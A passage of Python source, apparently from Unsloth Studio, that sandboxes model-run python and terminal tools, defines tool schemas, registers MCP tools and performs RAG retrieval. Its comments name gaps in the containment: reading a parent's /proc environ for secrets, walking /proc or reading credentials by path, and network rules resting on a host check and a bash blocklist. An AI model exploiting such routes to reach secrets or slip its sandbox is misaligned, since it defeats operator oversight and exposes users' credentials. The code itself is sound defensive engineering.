pass
|
|
|
|
# CLONE_NEWNET not applied: with userns enabled it blocks all egress,
|
|
# including allowlisted hosts. Network policy is enforced by the AST
|
|
# host check and the bash blocklist.
|
|
|
|
if _resource is not None:
|
|
# RLIMIT_NPROC is per-real-UID, so the cap is well above normal usage.
|
|
try:
|
|
nproc = int(os.environ.get("UNSLOTH_STUDIO_SANDBOX_NPROC", "10000"))
|
|
_resource.setrlimit(_resource.RLIMIT_NPROC, (nproc, nproc))
|
|
except (ValueError, OSError, AttributeError):
|
|
pass
|
|
try:
|
|
_resource.setrlimit(_resource.RLIMIT_FSIZE, (100 * 1024 * 1024, 100 * 1024 * 1024))
|
|
except (ValueError, OSError):
|
|
pass
|
|
try:
|
|
as_bytes = int(os.environ.get("UNSLOTH_STUDIO_SANDBOX_AS_GB", "8")) * 1024 * 1024 * 1024
|
|
_resource.setrlimit(_resource.RLIMIT_AS, (as_bytes, as_bytes))
|
|
except (ValueError, OSError, AttributeError):
|
|
pass
|
|
try:
|
|
cpu_s = int(os.environ.get("UNSLOTH_STUDIO_SANDBOX_CPU_S", "600"))
|
|
_resource.setrlimit(_resource.RLIMIT_CPU, (cpu_s, cpu_s))
|
|
except (ValueError, OSError, AttributeError):
|
|
pass
|
|
try:
|
|
# High enough for multi-shard safetensors mmaps; tunable via env.
|
|
# Clamp to the inherited hard limit so setrlimit doesn't ValueError
|
|
# when the parent's hard cap is below the request.
|
|
nofile = int(os.environ.get("UNSLOTH_STUDIO_SANDBOX_NOFILE", "16384"))
|
|
_soft_cur, hard_cur = _resource.getrlimit(_resource.RLIMIT_NOFILE)
|
|
target = nofile if hard_cur == _resource.RLIM_INFINITY else min(nofile, hard_cur)
|
|
_resource.setrlimit(_resource.RLIMIT_NOFILE, (target, target))
|
|
except (ValueError, OSError, AttributeError):
|
|
pass
|
|
|
|
|
|
def _bypass_preexec():
|
|
"""Minimal pre-exec for bypass exec: os.setsid() only.
|
|
|
|
Required, not a restriction: _kill_process_tree does killpg(getpgid(child)),
|
|
so without a new session a timeout/cancel would kill the Unsloth server too.
|
|
"""
|
|
try:
|
|
os.setsid()
|
|
except OSError:
|
|
pass
|
|
|
|
|
|
# Hardening the Unsloth parent is done once (PR_SET_DUMPABLE is process-global
|
|
# and sticky); guarded so repeated bypass calls do not re-issue the prctl.
|
|
_parent_proc_hardened = False
|
|
|
|
|
|
def _harden_parent_against_proc_env_leak() -> bool:
|
|
"""Make the Unsloth process's /proc/<pid>/environ unreadable to its children.
|
|
|
|
Stripping the child env is not enough on Linux: a bypassed same-UID child
|
|
can read /proc/<getppid()>/environ to recover the parent's unfiltered
|
|
secrets. Clearing PR_SET_DUMPABLE reparents this process's /proc entries to
|
|
root, closing that read.
|
|
|
|
Returns True when hardened or unnecessary (off Linux), False when needed but
|
|
unappliable (e.g. prctl denied by seccomp); callers must then fail closed.
|
|
This is a mitigation, not a full boundary - a bypassed tool can still walk
|
|
/proc to an ancestor or read creds by path. Applied lazily on first bypass.
|
|
"""
|
|
global _parent_proc_hardened
|
|
if _parent_proc_hardened:
|
|
return True
|
|
if sys.platform != "linux":
|
|
return True # no /proc/<pid>/environ same-UID leak to close
|
|
if _libc is None:
|
|
return False # on Linux but cannot issue prctl -> cannot harden
|
|
try:
|
|
# prctl(PR_SET_DUMPABLE=4, SUID_DUMP_DISABLE=0). ctypes returns the
|
|
# syscall result (-1 on failure) and does NOT raise, so check it.
|
|
ret = _libc.prctl(4, 0, 0, 0, 0)
|
|
except (OSError, AttributeError):
|
|
return False
|
|
if ret != 0:
|
|
return False
|
|
_parent_proc_hardened = True
|
|
return True
|
|
|
|
|
|
def _get_shell_cmd(command: str) -> list[str]:
|
|
"""Return the platform-appropriate shell invocation for a command string."""
|
|
if sys.platform == "win32":
|
|
return ["cmd", "/c", command]
|
|
return ["bash", "-c", command]
|
|
|
|
|
|
# Per-session working directories so each chat thread gets its own sandbox.
|
|
# Falls back to ~/studio_sandbox/_default for callers without a session_id.
|
|
_workdirs: dict[str, str] = {}
|
|
|
|
|
|
# Non-matching session_ids collapse to ``_invalid`` to block cross-session escapes.
|
|
_SESSION_ID_RE = re.compile(r"\A[A-Za-z0-9_\-]{1,64}\Z")
|
|
_PROJECT_SESSION_PREFIX = "project-"
|
|
|
|
|
|
def _get_project_workdir(session_id: str) -> str | None:
|
|
if not session_id.startswith(_PROJECT_SESSION_PREFIX):
|
|
return None
|
|
project_id = session_id[len(_PROJECT_SESSION_PREFIX) :]
|
|
if not project_id or not _SESSION_ID_RE.match(project_id):
|
|
return None
|
|
try:
|
|
from storage.studio_db import ensure_chat_project_workspace
|
|
project = ensure_chat_project_workspace(project_id)
|
|
except Exception:
|
|
logger.warning("Failed to resolve project sandbox for %s", session_id, exc_info = True)
|
|
return None
|
|
if not project:
|
|
return None
|
|
root_path = project.get("rootPath")
|
|
sandbox_path = project.get("sandboxPath")
|
|
if not root_path or not sandbox_path:
|
|
return None
|
|
root_real = os.path.realpath(root_path)
|
|
sandbox_real = os.path.realpath(sandbox_path)
|
|
if sandbox_real != root_real and not sandbox_real.startswith(root_real + os.sep):
|
|
return None
|
|
return sandbox_real
|
|
|
|
|
|
def _get_workdir(session_id: str | None = None) -> str:
|
|
"""Return a per-session sandbox dir at mode 0o700."""
|
|
global _workdirs
|
|
key = session_id or "_default"
|
|
if key not in _workdirs or not os.path.isdir(_workdirs[key]):
|
|
home = os.path.expanduser("~")
|
|
sandbox_root = os.path.join(home, "studio_sandbox")
|
|
project_workdir = (
|
|
_get_project_workdir(session_id)
|
|
if session_id and _SESSION_ID_RE.match(session_id)
|
|
else None
|
|
)
|
|
if project_workdir:
|
|
workdir = project_workdir
|
|
elif session_id and _SESSION_ID_RE.match(session_id):
|
|
workdir = os.path.join(sandbox_root, session_id)
|
|
if not os.path.realpath(workdir).startswith(os.path.realpath(sandbox_root) + os.sep):
|
|
workdir = os.path.join(sandbox_root, "_invalid")
|
|
elif session_id:
|
|
workdir = os.path.join(sandbox_root, "_invalid")
|
|
else:
|
|
workdir = os.path.join(sandbox_root, "_default")
|
|
os.makedirs(workdir, exist_ok = True)
|
|
try:
|
|
os.chmod(sandbox_root, 0o700)
|
|
except OSError:
|
|
pass
|
|
try:
|
|
os.chmod(workdir, 0o700)
|
|
except OSError:
|
|
pass
|
|
_workdirs[key] = workdir
|
|
return _workdirs[key]
|
|
|
|
|
|
def get_sandbox_workdir(session_id: str | None = None) -> str:
|
|
return _get_workdir(session_id)
|
|
|
|
|
|
WEB_SEARCH_TOOL = {
|
|
"type": "function",
|
|
"function": {
|
|
"name": "web_search",
|
|
"description": (
|
|
"Search the web and fetch page content. Returns snippets for all results. "
|
|
"Use the url parameter to fetch full page text from a specific URL."
|
|
),
|
|
"parameters": {
|
|
"type": "object",
|
|
"properties": {
|
|
"query": {
|
|
"type": "string",
|
|
"description": "The search query",
|
|
},
|
|
"url": {
|
|
"type": "string",
|
|
"description": "A URL to fetch full page content from (instead of searching). Use this to read a page found in search results.",
|
|
},
|
|
},
|
|
"required": [],
|
|
},
|
|
},
|
|
}
|
|
|
|
# Appended to the python/terminal descriptions: models habitually write to
|
|
# /mnt/data (a ChatGPT code-interpreter path), which does not exist here.
|
|
_SANDBOX_PATHS_NOTE = (
|
|
" Read and write files using relative paths in the current working "
|
|
"directory, which persists for this conversation; absolute paths like "
|
|
"/mnt/data or /tmp/outputs do not exist."
|
|
)
|
|
|
|
PYTHON_TOOL = {
|
|
"type": "function",
|
|
"function": {
|
|
"name": "python",
|
|
"description": "Execute Python code in a sandbox and return stdout/stderr."
|
|
+ _SANDBOX_PATHS_NOTE,
|
|
"parameters": {
|
|
"type": "object",
|
|
"properties": {
|
|
"code": {
|
|
"type": "string",
|
|
"description": "The Python code to run",
|
|
}
|
|
},
|
|
"required": ["code"],
|
|
},
|
|
},
|
|
}
|
|
|
|
TERMINAL_TOOL = {
|
|
"type": "function",
|
|
"function": {
|
|
"name": "terminal",
|
|
"description": "Execute a terminal command and return stdout/stderr." + _SANDBOX_PATHS_NOTE,
|
|
"parameters": {
|
|
"type": "object",
|
|
"properties": {
|
|
"command": {
|
|
"type": "string",
|
|
"description": "The command to run",
|
|
}
|
|
},
|
|
"required": ["command"],
|
|
},
|
|
},
|
|
}
|
|
|
|
RENDER_HTML_TOOL = {
|
|
"type": "function",
|
|
"function": {
|
|
"name": "render_html",
|
|
"description": (
|
|
"Render a self-contained HTML/CSS/JavaScript canvas for the user. "
|
|
"Call this at most once per assistant response unless the user "
|
|
"explicitly asks for changes in that response. Future user requests "
|
|
"for new canvases may call render_html once. Put the entire document "
|
|
"in code, including any CSS in <style> tags and JavaScript in <script> tags."
|
|
),
|
|
"parameters": {
|
|
"type": "object",
|
|
"properties": {
|
|
"code": {
|
|
"type": "string",
|
|
"description": "A complete self-contained HTML document.",
|
|
},
|
|
"title": {
|
|
"type": "string",
|
|
"description": "Short display title for the canvas.",
|
|
},
|
|
},
|
|
"required": ["code"],
|
|
},
|
|
},
|
|
}
|
|
|
|
# Duplicated (not imported from core.rag.tool) so the registry never pulls in
|
|
# the RAG stack; dispatch imports it lazily.
|
|
SEARCH_KNOWLEDGE_BASE_TOOL = {
|
|
"type": "function",
|
|
"function": {
|
|
"name": "search_knowledge_base",
|
|
"description": (
|
|
"Search the user's uploaded documents and knowledge bases for "
|
|
"relevant passages. Use this whenever the question may be answered "
|
|
"by the attached documents, then cite the returned chunks."
|
|
),
|
|
"parameters": {
|
|
"type": "object",
|
|
"properties": {
|
|
"query": {
|
|
"type": "string",
|
|
"description": "Natural-language search query.",
|
|
},
|
|
"top_k": {
|
|
"type": "integer",
|
|
"description": "Max chunks to return.",
|
|
},
|
|
},
|
|
"required": ["query"],
|
|
},
|
|
},
|
|
}
|
|
|
|
ALL_TOOLS = [
|
|
WEB_SEARCH_TOOL,
|
|
PYTHON_TOOL,
|
|
TERMINAL_TOOL,
|
|
RENDER_HTML_TOOL,
|
|
SEARCH_KNOWLEDGE_BASE_TOOL,
|
|
]
|
|
|
|
|
|
# OpenAI's function.name regex; MCP names that violate it would 400 the whole
|
|
# request, so validate up front and skip with a warning.
|
|
_OPENAI_FN_NAME_RE = re.compile(r"^[a-zA-Z0-9_-]{1,64}$")
|
|
|
|
|
|
def _mcp_specs_for_server(server: dict, mcp_tools: list[dict]) -> list[dict]:
|
|
"""Convert an MCP server's tool list into OpenAI function specs."""
|
|
display = server.get("display_name") or server["id"]
|
|
specs: list[dict] = []
|
|
seen_names: set[str] = set()
|
|
for tool in mcp_tools:
|
|
raw_name = tool.get("name") or ""
|
|
if not raw_name:
|
|
logger.warning("Skipping MCP tool on '%s': empty name.", display)
|
|
continue
|
|
name = f"{MCP_TOOL_PREFIX}{server['id']}__{raw_name}"
|
|
# Bad chars or oversized names would 400 the whole request; skip + warn
|
|
# so the rest of the tools still ship.
|
|
if not _OPENAI_FN_NAME_RE.fullmatch(name):
|
|
logger.warning(
|
|
"Skipping MCP tool '%s' on '%s': composed name '%s' is not "
|
|
"valid OpenAI function.name (regex ^[a-zA-Z0-9_-]{1,64}$).",
|
|
raw_name,
|
|
display,
|
|
name,
|
|
)
|
|
continue
|
|
# Duplicate tool names would also 400 OpenAI; drop dupes.
|
|
if name in seen_names:
|
|
logger.warning("Skipping duplicate MCP tool '%s' on '%s'.", raw_name, display)
|
|
continue
|
|
seen_names.add(name)
|
|
specs.append(
|
|
{
|
|
"type": "function",
|
|
"function": {
|
|
"name": name,
|
|
"description": f"[{display}] {tool.get('description') or ''}".strip(),
|
|
"parameters": tool.get("inputSchema") or {"type": "object", "properties": {}},
|
|
},
|
|
}
|
|
)
|
|
return specs
|
|
|
|
|
|
async def get_enabled_mcp_tools() -> list[dict]:
|
|
servers = [s for s in mcp_servers_db.list_servers() if s.get("is_enabled")]
|
|
# Never spawn stdio servers when stdio is disabled on this host.
|
|
if not stdio_mcp_enabled():
|
|
servers = [s for s in servers if not is_stdio(s["url"])]
|
|
if not servers:
|
|
return []
|
|
|
|
# Skip servers still in their post-failure cool-off, otherwise a down
|
|
# server gets re-probed -- and blocks the send for the full timeout -- on
|
|
# every message.
|
|
uncached = [
|
|
s for s in servers if get_cached_tools(s["id"]) is None and not in_failure_cooloff(s["id"])
|
|
]
|
|
if uncached:
|
|
results = await asyncio.gather(
|
|
*(
|
|
list_tools_async(
|
|
url = s["url"],
|
|
headers = parse_server_headers(s),
|
|
timeout = probe_timeout(s["url"], bool(s.get("use_oauth"))),
|
|
use_oauth = bool(s.get("use_oauth")),
|
|
)
|
|
for s in uncached
|
|
),
|
|
return_exceptions = True,
|
|
)
|
|
# An edit/delete can land while we await a probe; re-read and drop a
|
|
# result whose server changed or was removed mid-probe, else a stale
|
|
# tool list (or cool-off on a just-fixed server) persists.
|
|
current = {s["id"]: s for s in mcp_servers_db.list_servers()}
|
|
for server, payload in zip(uncached, results):
|
|
fresh = current.get(server["id"])
|
|
if fresh is None or any(
|
|
fresh.get(k) != server.get(k) for k in TOOL_CACHE_INVALIDATING_FIELDS
|
|
):
|
|
continue
|
|
if isinstance(payload, BaseException):
|
|
logger.warning(
|
|
"MCP server '%s' (%s) discovery failed: %s",
|
|
server.get("display_name") or server["id"],
|
|
server.get("url"),
|
|
payload,
|
|
)
|
|
# Failures aren't cached, but record one so a down server
|
|
# isn't re-probed every send during the cool-off.
|
|
record_probe_failure(server["id"], bool(fresh.get("use_oauth")))
|
|
continue
|
|
cache_tools(server["id"], payload)
|
|
|
|
specs: list[dict] = []
|
|
for server in servers:
|
|
payload = get_cached_tools(server["id"])
|
|
if payload is None:
|
|
continue
|
|
specs.extend(_mcp_specs_for_server(server, payload))
|
|
return specs
|
|
|
|
|
|
_TIMEOUT_UNSET = object()
|
|
|
|
|
|
def _render_html_result(arguments: dict) -> str:
|
|
code = arguments.get("code")
|
|
if not isinstance(code, str) or not code.strip():
|
|
return "Error: render_html requires a non-empty code string."
|
|
title = arguments.get("title")
|
|
if isinstance(title, str) and title.strip():
|
|
safe_title = title.strip()[:120]
|
|
return (
|
|
f"Rendered HTML canvas: {safe_title}. Do not call render_html "
|
|
"again in this response unless the user asks for changes. For a later "
|
|
"user request for a new canvas, call render_html once."
|
|
)
|
|
return (
|
|
"Rendered HTML canvas. Do not call render_html again in this response "
|
|
"unless the user asks for changes. For a later user request for a new "
|
|
"canvas, call render_html once."
|
|
)
|
|
|
|
|
|
def execute_tool(
|
|
name: str,
|
|
arguments: dict,
|
|
cancel_event = None,
|
|
timeout: int | None = _TIMEOUT_UNSET,
|
|
session_id: str | None = None,
|
|
thread_id: str | None = None,
|
|
rag_scope: dict | None = None,
|
|
disable_sandbox: bool = False,
|
|
output_callback = None,
|
|
website_policy: dict | None = None,
|
|
) -> str:
|
|
"""Execute a tool by name with the given arguments; returns a string.
|
|
|
|
``timeout``: int seconds, ``None`` = no limit, unset = ``_EXEC_TIMEOUT``.
|
|
``session_id``: optional ID for per-conversation sandbox isolation.
|
|
``thread_id``: optional conversation ID; scopes stateful MCP stdio sessions
|
|
per thread (session_id alone can be shared project-wide).
|
|
``rag_scope``: hidden per-request RAG context the model never sees; consumed
|
|
by ``search_knowledge_base``.
|
|
``disable_sandbox``: Bypass Permissions; run python/terminal without the
|
|
safety checks, blocklist, or resource caps (secrets still stripped). Only
|
|
affects local code tools; web_search / MCP are unchanged.
|
|
``output_callback``: optional ``callable(str)`` invoked with incremental
|
|
stdout/stderr chunks while python/terminal executions run (UI live
|
|
output). Purely observational: the returned result string is identical
|
|
with or without it. Tools without incremental output ignore it.
|
|
``website_policy``: hidden server-validated domain limits for web_search.
|
|
"""
|
|
logger.info(f"execute_tool: name={name}, session_id={session_id}, timeout={timeout}")
|
|
effective_timeout = _EXEC_TIMEOUT if timeout is _TIMEOUT_UNSET else timeout
|
|
if name == "search_knowledge_base":
|
|
return _search_knowledge_base_with_budget(
|
|
arguments,
|
|
rag_scope,
|
|
effective_timeout,
|
|
cancel_event,
|
|
)
|
|
if name == "render_html":
|
|
return _render_html_result(arguments)
|
|
if name.startswith(MCP_TOOL_PREFIX):
|
|
try:
|
|
_, server_id, tool_name = name.split("__", 2)
|
|
except ValueError:
|
|
return f"Error: malformed MCP tool name '{name}'"
|
|
server = mcp_servers_db.get_server(server_id)
|
|
if not server:
|
|
return f"Error: MCP server '{server_id}' not found"
|
|
if not server.get("is_enabled"):
|
|
return f"Error: MCP server '{server_id}' is disabled"
|
|
if is_stdio(server["url"]) and not stdio_mcp_enabled():
|
|
return f"Error: stdio MCP server '{server_id}' is disabled on this host"
|
|
# Persist a stateful stdio session only per conversation (thread_id).
|
|
# session_id is the project-wide sandbox id, so scoping by it alone leaks
|
|
# browser/DB/REPL state across conversations; fall back to one-shot. Tag +
|
|
# percent-quote the parts so ids can't collide or ":" merge conversations.
|
|
if thread_id:
|
|
mcp_scope = "s={}:t={}".format(
|
|
urllib.parse.quote(session_id or "", safe = ""),
|
|
urllib.parse.quote(thread_id, safe = ""),
|
|
)
|
|
else:
|
|
mcp_scope = None
|
|
headers = parse_server_headers(server)
|
|
url = server["url"]
|
|
|
|
def _config_current() -> bool:
|
|
# Re-read before a stdio session is cached: this call may have read
|
|
# the row just before an update/delete closed its sessions.
|
|
row = mcp_servers_db.get_server(server_id)
|
|
return (
|
|
row is not None
|
|
and bool(row.get("is_enabled"))
|
|
and row.get("url") == url
|
|
and parse_server_headers(row) == headers
|
|
)
|
|
|
|
return call_tool_sync(
|
|
url = url,
|
|
headers = headers,
|
|
name = tool_name,
|
|
args = arguments,
|
|
timeout = effective_timeout,
|
|
use_oauth = bool(server.get("use_oauth")),
|
|
cancel_event = cancel_event,
|
|
scope = mcp_scope,
|
|
config_check = _config_current,
|
|
)
|
|
if name == "web_search":
|
|
return _web_search(
|
|
arguments.get("query", ""),
|
|
url = arguments.get("url"),
|
|
timeout = effective_timeout,
|
|
cancel_event = cancel_event,
|
|
website_policy = website_policy,
|
|
)
|
|
if name == "python":
|
|
return _python_exec(
|
|
arguments.get("code", ""),
|
|
cancel_event,
|
|
effective_timeout,
|
|
session_id,
|
|
disable_sandbox = disable_sandbox,
|
|
output_callback = output_callback,
|
|
)
|
|
if name == "terminal":
|
|
return _bash_exec(
|
|
arguments.get("command", ""),
|
|
cancel_event,
|
|
effective_timeout,
|
|
session_id,
|
|
disable_sandbox = disable_sandbox,
|
|
output_callback = output_callback,
|
|
)
|
|
return f"Unknown tool: {name}"
|
|
|
|
|
|
def _opt_int(v) -> int | None:
|
|
try:
|
|
return int(v) if v is not None else None
|
|
except (TypeError, ValueError):
|
|
return None
|
|
|
|
|
|
def _scope_retrieval_kwargs(scope: dict) -> dict:
|
|
"""Retrieval mode from rag_scope; candidate pools and RRF come from config."""
|
|
mode = scope.get("mode")
|
|
return {"mode": mode if mode in ("hybrid", "dense", "lexical") else "hybrid"}
|
|
|
|
|
|
def _search_knowledge_base(arguments: dict, rag_scope: dict | None) -> str:
|
|
"""Run the RAG search bound to the hidden per-request ``rag_scope`` (the model
|
|
supplies only ``query``/``top_k``). Lazy import; missing sqlite-vec degrades
|
|
to a friendly message."""
|
|
scope = rag_scope or {}
|
|
query = (arguments or {}).get("query", "")
|
|
if not query or not str(query).strip():
|
|
return "Error: query is empty."
|
|
try:
|
|
from storage import rag_db
|
|
if not rag_db.RAG_AVAILABLE:
|
|
return "Knowledge base search is unavailable on this server."
|
|
from core.rag.tool import search_knowledge_base_with_sources
|
|
except Exception as exc: # noqa: BLE001
|
|
logger.warning("RAG tool unavailable: %s", exc)
|
|
return "Knowledge base search is unavailable on this server."
|
|
|
|
top_k = _opt_int((arguments or {}).get("top_k") or scope.get("default_top_k"))
|
|
text, sources = search_knowledge_base_with_sources(
|
|
query = str(query),
|
|
scope_kb_id = scope.get("kb_id"),
|
|
scope_thread_id = scope.get("thread_id"),
|
|
scope_project_id = scope.get("project_id"),
|
|
top_k = top_k,
|
|
**_scope_retrieval_kwargs(scope),
|
|
)
|
|
# Append the UI source-map after the sentinel; loops strip it before the model.
|
|
if sources:
|
|
import json as _json
|
|
return text + RAG_SOURCES_SENTINEL + _json.dumps(sources, ensure_ascii = False)
|
|
return text
|
|
|
|
|
|
def _search_knowledge_base_with_budget(
|
|
arguments: dict,
|
|
rag_scope: dict | None,
|
|
timeout: int | None,
|
|
cancel_event = None,
|
|
) -> str:
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
return "Error: knowledge base search cancelled."
|
|
deadline = time.monotonic() + timeout if timeout is not None else None
|
|
while not _RAG_SEARCH_SLOT.acquire(timeout = 0.05):
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
return "Error: knowledge base search cancelled."
|
|
if deadline is not None and time.monotonic() >= deadline:
|
|
return "Error: knowledge base search timed out."
|
|
|
|
# The running search owns the admission slot until it actually stops; release it exactly once,
|
|
# from whichever path terminates the work. Releasing on caller timeout/cancel would let a
|
|
# second search in while the first worker is still doing embedding/index/GPU work, defeating
|
|
# the capacity-of-one bound, so the worker frees the slot in its finally instead.
|
|
_slot_lock = threading.Lock()
|
|
_slot_released = False
|
|
|
|
def release_slot() -> None:
|
|
nonlocal _slot_released
|
|
with _slot_lock:
|
|
if _slot_released:
|
|
return
|
|
_slot_released = True
|
|
_RAG_SEARCH_SLOT.release()
|
|
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
release_slot()
|
|
return "Error: knowledge base search cancelled."
|
|
if deadline is not None and time.monotonic() >= deadline:
|
|
release_slot()
|
|
return "Error: knowledge base search timed out."
|
|
|
|
if timeout is None and cancel_event is None:
|
|
try:
|
|
return _search_knowledge_base(arguments, rag_scope)
|
|
finally:
|
|
release_slot()
|
|
|
|
result: queue.Queue = queue.Queue(maxsize = 1)
|
|
|
|
def search() -> None:
|
|
try:
|
|
result.put((True, _search_knowledge_base(arguments, rag_scope)))
|
|
except BaseException as exc:
|
|
result.put((False, exc))
|
|
finally:
|
|
release_slot()
|
|
|
|
try:
|
|
threading.Thread(target = search, name = "rag-tool-search", daemon = True).start()
|
|
except Exception:
|
|
release_slot()
|
|
raise
|
|
while True:
|
|
# Caller gives up, but the worker thread still holds the slot and releases it in its
|
|
# finally when it truly finishes -- so concurrency stays bounded to one.
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
return "Error: knowledge base search cancelled."
|
|
if deadline is not None and time.monotonic() >= deadline:
|
|
return "Error: knowledge base search timed out."
|
|
wait = 0.05
|
|
if deadline is not None:
|
|
wait = min(wait, max(0.001, deadline - time.monotonic()))
|
|
try:
|
|
ok, value = result.get(timeout = wait)
|
|
except queue.Empty:
|
|
continue
|
|
if ok:
|
|
return value
|
|
raise value
|
|
|
|
|
|
# Forced first-pass RAG retrieval: a high cosine floor keeps it precise (fires on
|
|
# on-topic queries, skips weak ones) and helps small models that under-call the tool.
|
|
# Tunable via RAG_AUTOINJECT_MIN_SCORE.
|
|
_AUTOINJECT_DEFAULT_FLOOR = 0.70
|
|
|
|
|
|
def _autoinject_enabled() -> bool:
|
|
return os.environ.get("RAG_AUTOINJECT", "1").strip().lower() not in (
|
|
"0",
|
|
"false",
|
|
"no",
|
|
"off",
|
|
)
|
|
|
|
|
|
def _autoinject_floor() -> float:
|
|
raw = os.environ.get("RAG_AUTOINJECT_MIN_SCORE")
|
|
if raw is not None:
|
|
try:
|
|
return float(raw)
|
|
except ValueError:
|
|
pass
|
|
return _AUTOINJECT_DEFAULT_FLOOR
|
|
|
|
|
|
# Lean: injecting the full top_k every turn prefills thousands of tokens.
|
|
_AUTOINJECT_DEFAULT_TOP_K = 4
|
|
|
|
|
|
def _autoinject_top_k() -> int:
|
|
raw = os.environ.get("RAG_AUTOINJECT_TOP_K")
|
|
if raw is not None:
|
|
try:
|
|
return max(1, int(raw))
|
|
except ValueError:
|
|
pass
|
|
return _AUTOINJECT_DEFAULT_TOP_K
|
|
|
|
|
|
def _thread_whole_doc_enabled(scope: dict) -> bool:
|
|
"""Whether a thread-attached file should be injected in full rather than
|
|
retrieved top-K. ``rag_scope.whole_doc=False`` disables it for this request."""
|
|
override = scope.get("whole_doc")
|
|
if override is False:
|
|
return False
|
|
try:
|
|
from core.rag import config as _rag_config
|
|
except Exception: # noqa: BLE001
|
|
return True
|
|
return _rag_config.THREAD_WHOLE_DOC
|
|
|
|
|
|
_IMAGE_PART_TOKEN_ESTIMATE = 1024
|
|
|
|
|
|
def _message_token_estimate(conversation: list[dict]) -> int:
|
|
"""Cheap prompt-size estimate for budget guards; exact tokenization happens later."""
|
|
total = 0
|
|
for msg in conversation:
|
|
content = msg.get("content")
|
|
if isinstance(content, str):
|
|
total += max(1, len(content) // 4)
|
|
elif isinstance(content, list):
|
|
for part in content:
|
|
if isinstance(part, dict):
|
|
if part.get("type") in ("image_url", "input_image"):
|
|
total += _IMAGE_PART_TOKEN_ESTIMATE
|
|
else:
|
|
total += max(1, len(str(part.get("text") or "")) // 4)
|
|
total += 4 # chat-template role / separator overhead estimate
|
|
return total
|
|
|
|
|
|
def _whole_doc_budget(scope: dict | None = None, conversation: list[dict] | None = None) -> int:
|
|
try:
|
|
from core.rag import config as _rag_config
|
|
except Exception: # noqa: BLE001
|
|
budget = 6000
|
|
else:
|
|
budget = _rag_config.WHOLE_DOC_MAX_TOKENS
|
|
if not scope:
|
|
return budget
|
|
context = _opt_int(scope.get("context_length") or scope.get("max_context_tokens"))
|
|
if context is None or context <= 0:
|
|
return budget
|
|
headroom = _opt_int(scope.get("response_headroom"))
|
|
if headroom is None:
|
|
headroom = max(1024, context // 4)
|
|
used = _message_token_estimate(conversation or [])
|
|
# Leave room for tool XML wrappers, citation metadata, and chat-template overhead.
|
|
available = context - headroom - used - 512
|
|
return min(budget, max(0, available))
|
|
|
|
|
|
def _last_user_text(conversation: list[dict]) -> str:
|
|
"""Plain text of the most recent user turn (text parts only)."""
|
|
for msg in reversed(conversation):
|
|
if msg.get("role") != "user":
|
|
continue
|
|
content = msg.get("content")
|
|
if isinstance(content, str):
|
|
return content.strip()
|
|
if isinstance(content, list):
|
|
parts = [
|
|
p.get("text", "")
|
|
for p in content
|
|
if isinstance(p, dict) and p.get("type") in ("text", "input_text")
|
|
]
|
|
return " ".join(t for t in parts if t).strip()
|
|
return ""
|
|
return ""
|
|
|
|
|
|
def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> dict | None:
|
|
"""Pre-retrieve the latest user turn; if a hit clears the cosine floor return
|
|
``{"events": [...], "messages": [...]}`` to splice into the loop, else ``None``.
|
|
Toggle via ``rag_scope.autoinject`` (else env ``RAG_AUTOINJECT``); floor via
|
|
``rag_scope.autoinject_min_score`` (else env ``RAG_AUTOINJECT_MIN_SCORE``).
|
|
|
|
Also the small-model fallback: models below ~4B often answer from memory
|
|
instead of calling ``search_knowledge_base``, so forcing retrieval here keeps
|
|
attachments consulted regardless of model size."""
|
|
if not rag_scope:
|
|
return None
|
|
enabled = rag_scope.get("autoinject")
|
|
if enabled is None:
|
|
enabled = _autoinject_enabled()
|
|
thread_id = rag_scope.get("thread_id")
|
|
whole_doc_requested = (
|
|
bool(thread_id) and not rag_scope.get("kb_id") and _thread_whole_doc_enabled(rag_scope)
|
|
)
|
|
if not enabled and not whole_doc_requested:
|
|
return None
|
|
query = _last_user_text(conversation)
|
|
if not query:
|
|
return None
|
|
try:
|
|
from storage import rag_db
|
|
if not rag_db.RAG_AVAILABLE:
|
|
return None
|
|
from core.rag.tool import render_sources, search_for_autoinject, whole_document_context
|
|
except Exception as exc: # noqa: BLE001
|
|
logger.warning("RAG auto-inject unavailable: %s", exc)
|
|
return None
|
|
|
|
text: str | None = None
|
|
sources: list[dict] = []
|
|
|
|
floor_override = rag_scope.get("autoinject_min_score")
|
|
floor = float(floor_override) if floor_override is not None else _autoinject_floor()
|
|
# Cap at the lean top_k, but honor a lower user setting.
|
|
lean_k = _autoinject_top_k()
|
|
sidebar_k = _opt_int(rag_scope.get("default_top_k"))
|
|
top_k = min(sidebar_k, lean_k) if sidebar_k is not None else lean_k
|
|
|
|
# Whole-document mode: a thread-attached file under budget is injected in
|
|
# full. A KB selection is exclusive so whole-doc never preempts it; project
|
|
# sources are still retrieved top-K and appended under one citation
|
|
# numbering. Oversized/absent thread docs fall through to top-K below.
|
|
if whole_doc_requested:
|
|
try:
|
|
budget = _whole_doc_budget(rag_scope, conversation)
|
|
|
|
whole = whole_document_context(
|
|
scope_thread_id = thread_id,
|
|
max_tokens = budget,
|
|
)
|
|
except Exception as exc: # noqa: BLE001
|
|
logger.warning("RAG whole-document context failed: %s", exc)
|
|
whole = None
|
|
if whole is not None:
|
|
text, sources = whole
|
|
project_id = rag_scope.get("project_id")
|
|
if project_id:
|
|
try:
|
|
proj = search_for_autoinject(
|
|
query = query,
|
|
scope_project_id = project_id,
|
|
top_k = top_k,
|
|
min_dense_score = floor,
|
|
**_scope_retrieval_kwargs(rag_scope),
|
|
)
|
|
except Exception as exc: # noqa: BLE001
|
|
logger.warning("RAG project retrieval (whole-doc companion) failed: %s", exc)
|
|
proj = None
|
|
if proj is not None:
|
|
merged = sources + proj[1]
|
|
merged_text = render_sources(merged)
|
|
if max(1, len(merged_text) // 4) <= budget:
|
|
sources = merged
|
|
text = merged_text
|
|
logger.info("RAG auto-inject: whole-document context (%d chunk(s))", len(sources))
|
|
|
|
if text is None and enabled:
|
|
try:
|
|
found = search_for_autoinject(
|
|
query = query,
|
|
scope_kb_id = rag_scope.get("kb_id"),
|
|
scope_thread_id = rag_scope.get("thread_id"),
|
|
scope_project_id = rag_scope.get("project_id"),
|
|
top_k = top_k,
|
|
min_dense_score = floor,
|
|
**_scope_retrieval_kwargs(rag_scope),
|
|
)
|
|
except Exception as exc: # noqa: BLE001
|
|
logger.warning("RAG auto-inject retrieval failed: %s", exc)
|
|
return None
|
|
if not found:
|
|
